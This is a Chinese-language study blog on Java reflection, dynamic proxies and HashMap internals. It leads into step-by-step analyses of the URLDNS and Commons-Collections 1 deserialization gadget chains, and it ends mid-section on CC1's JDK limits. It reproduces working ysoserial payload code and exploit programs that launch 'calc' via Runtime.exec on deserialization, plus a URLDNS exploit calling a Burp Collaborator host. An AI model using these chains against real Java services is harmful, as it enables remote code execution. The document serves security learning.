Java反射再学习、动态代理(未学透)、CC1……

Java反射

上次只是跟着视频打了一遍代码,但是很多都还不懂,所以这次就来仔细认识一下

参考

Class

1.Class类

每加载一种class,JVM就会创建一个Class,也就说JVM持有的每个Class实例都指向一个数据类型,而如果在类中有静态初始化器的话,JVM必然会执行该类的静态代码段:

1
2
3
public final class Class<T> {

}

Class里面存储着一个class的所有信息,可以直接去Java里面查看一些属性和方法

1
2
3
4
5
6
 public static void main(String[] args) {
//获取String类
Class c = String.class;
System.out.println(c.getName());
}
// java.lang.String

getName|getMethod|getMethods|getClassLoader……

getName()获取类名

1
2
3
4
5
6
7
8
9
10
11
12
13
 public static void main(String[] args) {
//获取String类
Class c = String.class;
System.out.println(c.getName());
}
// java.lang.String

public static void main(String[] args) throws Exception {
Class c = Test.class;
String s = "";
System.out.println(c.getName());
}
// demo.Test

getMethod(String) 获取其中一个方法

getMethods() 返回带有所有方法的数组

1
2
3
4
5
6
7
8
9
10
11
12
13
    public static void main(String[] args) throws Exception {
Class c = Test.class;
String s = "";
System.out.println(c.getMethod("exp"));
}
// public void demo.Test.exp() throws java.lang.Exception

public static void main(String[] args) throws Exception {
Class c = Test.class;
String s = "";
System.out.println(c.getMethods()[1]);
}
//public void demo.Test.exp() throws java.lang.Exception

getClass 获取类 | forName 当知道类的全名的时候

1
2
3
4
5
6
7
8
  public static void main(String[] args) throws Exception {
Class c = Test.class;
System.out.println(c.toString());
//class demo.Test
Class c1 = Class.forName("demo.Test");
System.out.println(c1.toString());
//class demo.Test
}

getModifiers()返回类、属性、方法的修饰符

修饰符 对应的int类型
public 1
private 2
protected 4
static 8
final 16
synchronized 32
volatile 64
transient 128
native 256
interface 512
abstract 1024
strict 2048
1
2
3
4
5
6
    public static void main(String[] args) throws Exception {
Class c = Test.class;
String s = "";
System.out.println(c.getModifiers());
}
// 1

newInstance()可以实例化类 ,但是只会调用类的无参构造方法

1
2
3
4
5
6
7
8
9
public static void main(String[] args) throws Exception {
Test t1 = new Test();
Class c = t1.getClass();
Test test = (Test) c.newInstance();
test.exp();
System.out.println(c.newInstance());
Class c1 = Class.forName("demo.Test");
System.out.println(c1.toString());
}

getField(String)| getDeclareField(String)|getFields() 获取由public修饰的属性 | getDeclaredFields()获取所有属性

getConstructor | getConstructors | getDeclaredConstructor | getDeclaredConstructors 可以利用构造方法进行实例化

反射

1.实例化

这⾥也需要注意⼀点,在JDK1.9往上,不再使⽤newInstance()。

1
2
3
4
5
6
7
8
9
10
11
// forName可操作时
Class.forName("");
Class.forName("").newInstance();

// 已经存在该对象 但是我们控制不了该对象的时候
Test test = new Test();
Class cl = test.getClass();
cl.newInstance();

// 利用构造方法
cl.getConstructor().newInstance();
2.调用方法

1
2
3
4
5
// 无参数
Test test = new Test();
Class cl = test.getClass();
Method method = cl.getMethod("exp");
method.invoke(cl.getConstructor().newInstance());

1
2
3
4
5
//存在参数
Test test = new Test();
Class cl = test.getClass();
Method method = cl.getMethod("exp", String.class);
method.invoke(cl.getConstructor().newInstance(),"calc");

3.访问私有(属性、方法)

关键:setAccessible()|getDeclared

私有属性:

1
2
3
4
5
Test test = new Test();
Class cl = test.getClass();
Field field = cl.getDeclaredField("score");
field.setAccessible(true);
field.set(cl.newInstance(),"aaa");

私有方法:

1
2
3
4
5
Test test = new Test();
Class cl = test.getClass();
Method method = cl.getDeclaredMethod("exp", String.class);
method.setAccessible(true);
method.invoke(cl.getConstructor().newInstance(),"calc");
4.命令执行方法

Runtime

1
2
3
4
5
Class cl = Class.forName("java.lang.Runtime");
Method method = cl.getMethod("exec", String.class);
Method method1 = cl.getMethod("getRuntime");
Object o = method1.invoke(cl);
method.invoke(o, "calc");

ProcessBuilder

ProcessBuilder通过实例化的时候传入command调用start方法进行命令执行

1
2
3
Class cl = Class.forName("java.lang.ProcessBuilder");
cl.getMethod("start").invoke(cl.getConstructor(List.class).newInstance(Arrays.asList("calc")));
// 但是要求有Arrays包

varargs可变长参数,用于当我们想利用ProcessBuilder的另一个构造方法的时候

P神如是说:

1
2
clazz.getMethod("start").invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc"}}));
// 但是后面的 new String[][]{{"calc"}} 该怎么用反射呢

- 动态代理

Java中通常会有静态代理、动态代理和cglib代理

静态代理就是我们最常用的,利用implements关键字创建实现类实现某一个接口,然后再通过实例化该类从而实现对接口的调用,有时也会通过创建另一个代理类实现对前一个类的调用

例如:

1
2
3
public interface TestIns {
void test();
}
1
2
3
4
5
6
7
8
9
10
11
12
public class Test implements TestIns{

@Override
public void test(){
System.out.println("test");
}

public static void main(String[] args) {
TestIns testIns = new Test();
testIns.test();
}
}

动态代理并不需要创建代理类,可以通过JDK提供的Proxy.newProxyInstance()InvocationHandler实现实例化接口,调用接口的类

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class TestTwo{


public static void main(String[] args) {

InvocationHandler handler = new InvocationHandler() { // 用于实现调用接口的方法
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if(method.getName().equals("test")){
System.out.println("ttest");
}
return null;
}
};

// 强制转化 实现对接口的实例化
TestIns testIns = (TestIns) Proxy.newProxyInstance(
TestIns.class.getClassLoader(),
new Class[] {TestIns.class},
handler);
testIns.test();
}

}

interface TestIns {
void test();
}

那么现在来试着跟进了解一下Proxy.newProxyInstanceInvocationHandler

InvocationHandler是由代理实例的调用处理程序实现的接口。每个代理实例都有一个关联的调用处理程序。在代理实例上调用方法时,方法调用将被编码并发送到其调用处理程序的invoke方法。按照个人的理解,即可以在InvocationHandler里面对接口的方法进行重载或者其他操作。

Proxy.newProxyInstance的定义(参数分别是类加载器、一个实例以及一个InvocationHandler:

1
public static Object newProxyInstance(ClassLoader loader,Class<?>[] interfaces,InvocationHandler h)

参考暂时审计java的代码真的理解不能,记号!!!

Map/HashMap……

因为对Map类不熟悉的话 很难真的懂下面的链子,所以就先浅浅了解一下

Map是一个接口也可说是集合类,其中<>代表为泛型,而Map为键值对的集合,其中每一个键映射到一个值

1
public interface Map<K, V>

基本方法:

1
2
3
4
5
6
7
8
9
10
int size(); // 返回映射键值对的个数
boolean isEmpty(); // 判断集合类是否为空 即不包含任何键值对则返回true
boolean containsKey(Object key); // 判断集合类中是否包含该映射
boolean containsValue(Object value);
V get(Object key); // 返回key对应的value
V put(K key, V value); // 将指定的键和值互相关联 会返回与键关联的上一个值或者如果与键关联的上一个值为null的话会返回null
V remove(Object key); // 如果包含该key关联的映射则直接删除,并返回之前与key关联的value或者null
void clear(); // 清除集合
int hashCode(); // 返回该映射的哈希值
……

而就像上面讲到的一样,HashMap就是接口Map的一个实现类,在里面实现了Map的方法

HashMap

好几个内部类现在就先不看了,继续看后面的

有四个构造方法HashMap

1
2
3
4
5
public HashMap(int initialCapacity, float loadFactor) {  // 参数不能为负数
……
this.loadFactor = loadFactor;
this.threshold = tableSizeFor(initialCapacity); // 返回initialCapacity的两倍幂。
}
1
2
3
public HashMap(int initialCapacity) {
this(initialCapacity, DEFAULT_LOAD_FACTOR); // 将常量和int一起传,重新调用一次上面的构造方法
}
1
2
3
public HashMap() {
this.loadFactor = DEFAULT_LOAD_FACTOR; // all other fields defaulted
}
1
2
3
4
public HashMap(Map<? extends K, ? extends V> m) { // 传入一个Map类型的参数
this.loadFactor = DEFAULT_LOAD_FACTOR; // 默认值
putMapEntries(m, false); //
}

put方法,利用putValue实现

1
2
3
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

小结1:因为跟着走了一下,所以对这个集合类有了大概的了解,所以就先看到这里,等之后遇到新的方法的时候再记录到这里(鸽

URL DNS链

再再再次来走一遍URLDNS链!!!!!

urldns链子主要是在反序列化的时候触发HashMapreadObject方法,触发hash函数,从而可以触发URLhashCode方法触发DNS请求,通常用来验证题目是否存在反序列化漏洞

ysoserial

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

因为链子已经清楚,是反序列化的时候调用HashMapreadObject方法,所以我们可以先直接看HashMap

首先我们是把url当作key给HashMap的,所以可以只看最后的一段内容,因为前面都不会涉及到key,然后我们可以发现,在putvalue的时候调用了hash函数

1
2
3
4
5
6
7
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}

hash函数里面重新给h赋值,并且调用key的hashCode方法,而我们已经知道是URL.hashCode(),可以直接去看看

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); // 获取key的hashCode
}

如果hashCode的值不为-1,则直接返回,否则跳转到另一个hashCode方法

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

这里有getHostAddress方法,参数为我们传入的url,如果我们传入的不是IPV4的格式就会调用getByName,从而在getByName时候造成对url进行DNS解析请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
protected InetAddress getHostAddress(URL u) {
return u.getHostAddress();
}

synchronized InetAddress getHostAddress() {
if (hostAddress != null) {
return hostAddress;
}

if (host == null || host.isEmpty()) {
return null;
}
try {
hostAddress = InetAddress.getByName(host); // 根据主机名获取ip名字 触发DNS请求
} catch (UnknownHostException | SecurityException ex) {
return null;
}
return hostAddress;
}

注意:

​ 1.当一开始URL的hashCode为-1的时候也会自动发生DNS请求,所以在URLStreamHandler handler = new SilentURLStreamHandler();重写getHostAddress,将handler传给url,使得一开始执行getHostAddress方法的时候并不会发现DNS请求,从而防止了一开始发生DNS请求,但是handle又是为transient类型,在序列化的时候不参与,所以后面并不会影响反序列化的时候调用我们需要的getHostAddress方法

​ 2.而后面又在Reflections.setFieldValue(u, "hashCode", -1);中设置hashCode为-1,实现在反序列化之前强制hashCode为-1,从而后面的getHostAddress方法可以调用

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializeTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("output.txt"));
os.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream os = new ObjectInputStream(new FileInputStream(Filename));
Object obj = os.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
HashMap<URL,Integer> hashMap = new HashMap<URL, Integer>();
URL url = new URL("http://zy1ok3czhtt8z7qmwpi4xkxiy942sr.burpcollaborator.net");
Class c = url.getClass();
Field field = c.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,1223);
hashMap.put(url,1);
// hashMap.put(new URL("http://g0h5mkegjavp1os3y6klz1zz0q6gu5.burpcollaborator.net"), 1);
field.set(url,-1); // hashcode改成-1

serialize(hashMap);
unserialize("output.txt");
}
}

后记:又过了一遍之后确实比第一遍会更明白一些,但是还有有着一种悬浮感(?,如果硬是要说也是能把师傅们对于这个链子的解析说出来,但是自己却不一定真的完全能理解其中的点,感觉是比较细节的、底层的知识还是不够,继续学习吧!

CC1

(jdk<8u71

因为ysoserial的payload实在有点难以理解,所以先跟P神的链子吧

1
2
3
4
5
6
7
8
9
10
11
12
13
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"calc"}),};

Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);
outerMap.put("test", "xxxx");
}
}

Transformer是一个接口,方法返回值类一个类

1
2
3
public interface Transformer {
Object transform(Object var1);
}

ConstantTransformer是实现TransformerSerializable接口的类,在构造的时候传入一个类并在重载接口的方法的时候将这个类返回,所以上面的new ConstantTransformer(Runtime.getRuntime())会返回Runtime.getRuntime()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class ConstantTransformer implements Transformer, Serializable { 
static final long serialVersionUID = 6374440726369055124L;
public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
private final Object iConstant;

public static Transformer getInstance(Object constantToReturn) {
return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));
}

public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}

public Object transform(Object input) {
return this.iConstant;
}

public Object getConstant() {
return this.iConstant;
}
}

InvokerTransformer,构造函数里传入的值为方法名、参数类型以及参数,然后在重载Transformer的方法的时候进行对应的函数调用,实现任意方法调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class InvokerTransformer implements Transformer, Serializable {

·····
private InvokerTransformer(String methodName) {
this.iMethodName = methodName;
this.iParamTypes = null;
this.iArgs = null;
}

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

public Object transform(Object input) {
if (input == null) {
return null;
} else {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
······
}
}
}

ChainedTransformer将多个transformers串联起来,即前一个的返回值即为下一个的参数

1
2
3
4
5
6
7
8
9
10
11
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;

}

再来看最后几行的,先去看一下decorate,只是进行一个类的实例和属性初始化

1
2
3
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain); // 实例化一个新的TransformedMap
outerMap.put("test", "xxxx");
1
2
3
4
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer); // 将map传给父类,其他用于初始化,
// this.valueTransformer = transformerChain;
}
1
2
3
4
5
6
7
8
// AbstractMapDecorator
public AbstractMapDecorator(Map map) {
if (map == null) {
throw new IllegalArgumentException("Map must not be null");
} else {
this.map = map;
}
}

最后通过调用put传入新的映射在transformValue产生回调

1
2
3
4
5
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
1
2
3
4
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
// 实现调用 transformerChain.transform(String)
}

实现调用ChainedTransformer.transform,之后根据this.iTransformers[i]依次调用ConstantTransformer.transform|InvokerTransformer.transform

1
2
3
4
5
6
7
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}
1
2
3
4
5
6
7
8
9
10
11
// InvokerTransformer.transform 
// invoke实现任意方法执行
public Object transform(Object input) {
if (input == null) {
return null;
} else {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);

}

AnnotationInvocationHandler

虽然上面的demo在本地运行的时候是可以的,但是我们最终是要通过反序列化去实现任意代码执行的,所以我们要通过readObject去实现回调,那么这里就是用到了AnnotationInvocationHandler

直接来看一下这个类的readObject方法(8u66

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject(); // 单纯调用一份方法 var1在后面都没有被调用
AnnotationType var2 = null; // 初始化

try {
var2 = AnnotationType.getInstance(this.type); // 获取我们传进去的类 Retention.class
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map var3 = var2.memberTypes(); // 返回memberTypes
Iterator var4 = this.memberValues.entrySet().iterator(); // 通过我们传进去的Map进行操作 outerMap

while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey(); // 获取键值
Class var7 = (Class)var3.get(var6); //this.memberTypes.get => Map.get 获取key为var6的value 否则为null
if (var7 != null) { // 不能为null 所以前面的var4
Object var8 = var5.getValue(); // 获取key所映射的value
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
// 设置新的value
var5.setValue(
(new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")
).setMember(
(Method)var2.members().get(var6)
));
}
}
}

}

获取我们传入的被TransformedMap修饰过的Map,以及用来保证var7不为空的类。遍历Map里面的我们写入的代码,随后在setValue中触发TransformedMaptransform,从而实现任意代码执行

这里有个小问题:setValue是怎么实现触发transform的,虽然打断点之后走比较明显,但是还是有点不能理解,然后发现用反射传入的类在反序列化的时候,打断点调试的时候是不会走到这个类里面的,但是会到抽象类里面调用他执行的方法 感觉还是java基础不行(已解决

  • sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名是X

  • 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package ysoserial.payloads;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class CC1ForP2 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", // getMethod("getRuntime")
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke", // 方法名
new Class[]{Object.class, Object[].class}, // 参数类型
new Object[]{null, new Object[0]} // 参数
),
new InvokerTransformer("exec", // => exec("calc")
new Class[]{String.class},
new String[]{"calc"}
),
};
Transformer transformerChain = new ChainedTransformer(transformers); // 将上面的串联起来 前面的返回值进行回调

Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

// serialize
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);

// deserialize
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}

LazyMap

在ysoserial中使用的是LazyMap对transformerChain进行修饰,因为P神的demo已经能大概看懂了,那么现在直接去看ysoserial的CC1吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {

public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command }; // 执行的参数

// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });

// real chain for after setup
// 实现调用Runtime.getRuntime.exec(command)
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

final Map innerMap = new HashMap();

final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

return handler;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1.class, args);
}

public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}

和P神的demo主要区别就在lazyMap,还有这里利用了动态代理(对象代理)(如果我没理解错,应该就是前面的动态代理

然后我们也可以看出来TransformedMapLazyMap的区别就在于,TransformedMap通过put映射而产生回调,但是LazyMap很明显就不是,那么现在来具体分析一下LazyMap的工作流程(雾

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
private static final long serialVersionUID = 7990956402564206740L;
protected final Transformer factory;

public static Map decorate(Map map, Factory factory) {
return new LazyMap(map, factory);
}

public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = FactoryTransformer.getInstance(factory);
}
}

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}

private void writeObject(ObjectOutputStream out) throws IOException {
out.defaultWriteObject();
out.writeObject(super.map);
}

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
super.map = (Map)in.readObject();
}

public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
}

我们可以发现LazyMap会在get方法会在判断当map不包含key的时候会调用transform方法,并且传入key当作参数,而之前的链子就是调用transform之后达到命令执行的,那么显而易见只要多次调用get方法就应该可以实现

但是要怎么调用get方法呢

我们跟进,试着读一下代码

1
2
3
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

Gadgets中利用动态代理实例化AnnotationInvocationHandler从而动态代理且自动调用AnnotationInvocationHandler重写的invoke方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
// 我们传入的是lazyMap修饰之后的hashMap和Transformer 还有Map.class
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}


public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
// ANN_INV_HANDLER_CLASS是一个常量,值为AnnotationInvocationHandler完整的类名
// 说明这里就相当于是实例化了这个类 然后传入map使得this.memberValues = lazyMap;
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}

public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[ 0 ] = iface;
if ( ifaces.length > 0 ) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); // 动态代理

}

AnnotationInvocationHandlerinvoke方法,我们可以发现在这里会调用LazyMap的get方法

但是这里的参数是怎么传进去的呢? 打断点调试了一下发现是通过entrySet调用invoke的,但是哪里调用的entrySet从而导致调用的invoke呢?(已解决

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
……

switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}

return var6;
}
}
}
}

因为比较菜,所以就打断点之后写下步骤:

1.先进入LazyMap的readObject、decorate,使得this.factory=transformerChain;super.map=HashMap()

2.super.map = (Map)in.readObject(),打断可以发现,下一个反序列化的类应该是AnnotationInvocationHandler,但是由于是通过反射实例化的,所以没有直接显示出来(大概),进入AnnotationInvocationHandler的readObject,在Iterator var4 = this.memberValues.entrySet().iterator();调用到了LazyMap.entrySet()之后转到entrySet

3.之后调用AnnotationInvocationHandler的invoke方法,其中方法名为entrySetthis.memberValues=LazyMap,从而调用LazyMap.get

(之后的就和之前的差不多了,不过这其中有些比较具体的步骤都是我自己打断点调试猜测的,所以如果不正确期待师傅们的指正

P神更新的demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class,Class[].class },
new Object[] { "getRuntime",new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class,Object[].class },
new Object[] { null, newObject[0] }),
new InvokerTransformer("exec", new Class[] { String.class},
new String[] { "calc.exe" }),};

Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();

Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),
new Class[] {Map.class},handler);
handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);

// serialize
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);

// deserialize
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

对比之后可以发现ysoserial的transformers多了new ConstantTransformer(1)

ysoserialPOC的最后才将执行命令的Transformer数组设置到transformerChain中,原因是避免本地生成序列化流的程序执行到命令

局限

CC1并不适用于高版本的jdk中,在8u321中测试的时候,cc1就不可以了,浅浅分析一下原因

按照ysoserial的Gadget来,最主要部分就是前面调用LazyMap.get的过程,那么我们可以去看一下AnnotationInvocationHandler

1
2
